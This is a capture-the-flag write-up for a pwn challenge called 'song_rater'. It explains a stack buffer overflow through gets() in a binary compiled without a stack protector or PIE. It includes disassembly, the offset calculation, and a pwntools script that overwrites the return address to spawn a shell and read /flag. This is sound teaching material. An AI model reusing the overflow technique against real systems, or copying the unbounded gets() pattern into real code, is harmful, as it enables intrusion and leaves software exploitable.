Can you get this program to do what you want?
Category: pwn
Solver: jogius
Flag: GPNCTF{G00d_n3w5!_1t_l00ks_l1ke_y0u_r3p41r3d_y0ur_disk...}
This challenge provides us with four files: song_rater.c
and a corresponding binary song_rater
, as well as a run.sh
script and the Dockerfile
used for the server. Let’s take a look at the Dockerfile
first.
Dockerfile
At first glance, this doesn’t really do anything interesting - the file simply defines two containers, one for compiling song_rater.c
and one for serving the binary. Nothing about the package installation and serving really jumps out to me, so let’s take a look at the gcc
line for compilation.
gcc -no-pie -fno-stack-protector -O0 song_rater.c -o song_rater
I’m not familiar with these gcc
-flags, but I’m sure the manpages know something. Searching for stack-protector
, they read -fstack-protector: Emit extra code to check for buffer overflows, such as stack smashing attacks
. I suppose stack smashing is something to look for then.
Moreover, the no-pie
flag is documented as Don't produce a dynamically linked position independent executable
. Usually, binaries are loaded at random start addresses to make exploitation with hardcoded addresses harder. This flag disables this protection such that function addresses like those of main will be the same in every execution of the binary.
song_rater.c
Inside this file, we find the following C-code
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void scratched_record() {
printf("Oh no, your record seems scratched :(\n");
printf("Here's a shell, maybe you can fix it:\n");
execve("/bin/sh", NULL, NULL);
}
extern char *gets(char *s);
int main() {
printf("Song rater v0.1\n-------------------\n\n");
char buf[0xff];
printf("Please enter your song:\n");
gets(buf);
printf("\"%s\" is an excellent choice!\n", buf);
return 0;
}
What immediately occurs to me is that the function scratched_record
would give me a shell if it was called. Unfortunately, it’s not mentioned in the main
-function at all.
However, we can see that the program allows us to give some input (gets
, line 17) which is written into a
buffer of 0xff = 255
characters. Luckily for us, gets
doesn’t really care if we supply it with more characters than fit in the buffer - it doesn’t even know the size of the buffer. So we are able to overflow the buffer and write data into places we are not supposed to access. But how can we exploit this?
Before looking at anything, let’s think about the easiest ways the buffer overflow could help us. We know that (on x86 at least) functions are called by pushing the address of the next instruction onto the stack (return address
) and then jumping to the instruction corresponding to the function. And when a function wants to return, it jumps back to the return address it finds on the stack. If the buffer buf
was located before the return address of main
on the stack, we should be able to overwrite the return address and make main
return to scratched_record
instead of exiting the program. We can take a look if that’s the case with objdump -D song_rater
.
Assembly things
First things first, let’s make a small overview of the binary file - main
is located at address0x4011d8
and scratched_record
is located at 0x401196
(because of the no-pie
gcc flag the addresses are fixed). Inside main, we want to see what address is passed into the gets
function. For that, I looked at the main function as disassembled by objdump
.
00000000004011d8 <main>:
4011d8: f3 0f 1e fa endbr64 # rdi / rax - Parameter / return value
4011dc: 55 push %rbp # rbp - Stack Frame pointer
4011dd: 48 89 e5 mov %rsp,%rbp # rsp - Stack pointer
4011e0: 48 81 ec 00 01 00 00 sub $0x100,%rsp # rip - Instruction Pointer
4011e7: 48 8d 05 72 0e 00 00 lea 0xe72(%rip),%rax # 402060 <_IO_stdin_used+0x60>
4011ee: 48 89 c7 mov %rax,%rdi
4011f1: e8 7a fe ff ff call 401070 <puts@plt>
4011f6: 48 8d 05 88 0e 00 00 lea 0xe88(%rip),%rax # 402085 <_IO_stdin_used+0x85>
4011fd: 48 89 c7 mov %rax,%rdi
401200: e8 6b fe ff ff call 401070 <puts@plt>
401205: 48 8d 85 00 ff ff ff lea -0x100(%rbp),%rax
40120c: 48 89 c7 mov %rax,%rdi
40120f: e8 8c fe ff ff call 4010a0 <gets@plt>
401214: 48 8d 85 00 ff ff ff lea -0x100(%rbp),%rax
40121b: 48 89 c6 mov %rax,%rsi
40121e: 48 8d 05 78 0e 00 00 lea 0xe78(%rip),%rax # 40209d <_IO_stdin_used+0x9d>
401225: 48 89 c7 mov %rax,%rdi
401228: b8 00 00 00 00 mov $0x0,%eax
40122d: e8 4e fe ff ff call 401080 <printf@plt>
401232: b8 00 00 00 00 mov $0x0,%eax
401237: c9 leave
401238: c3 ret
We can see that at the beginning of the function, %rbp
is pushed onto the stack. It is then overwritten with the value in %rsp
and used to calculate the address passed to gets
(lea -0x100(%rbp),%rax
does this calculation). This means that the buffer is located 0x108
bytes before the return address of main
- we just need to fill the buffer, overwrite the 8 bytes that saved %rbp
on the stack and then modify the return address freely.
Exploiting the buffer overflow
I am using python
and pwntools
for the solve. Since the buffer is located 0x108
bytes before the main
return address, we want to fill this space with any data - it doesn’t really matter with what. I decided to use the following line to send the character P
264 times.
r.send(b"P" * 0x108)
We then want to overwrite the return address with 0x401196
. One important question is whether the binary is big-endian or little-endian, as that determines in what order we have to send the bytes of the address. We can find that out by using file song_rater
, which tells us song_rater: ELF 64-bit LSB executable [...]
(LSB = Least significant byte = little-endian). So we send our payload with
r.send(p64(0x401196, endian='little'))
which should give us a shell. From here, we could use r.interactive()
and read the contents of /flag
manually, the script I appended here simply uses cat /flag
and ignores all output but the flag. Either way, we get the following flag:
GPNCTF{G00d_n3w5!_1t_l00ks_l1ke_y0u_r3p41r3d_y0ur_disk...}
Solve script
from pwn import *
# Open connection to remote
r = remote("<remote address>", "443", ssl=True)
# Fill buffer and 8 bytes to reach the return address of main
r.send(b"P" * 0x108)
# Overwrite return address with address of scratched_record method, newline to terminate gets function
r.sendline(p64(0x401196, endian='little'))
# Print the contents of /flag from shell we just got
r.sendline(b"cat /flag")
# Ignore 7 insignificant lines
for i in range(7):
r.recvline()
# Print flag
print(r.recvline().decode().strip())
r.close()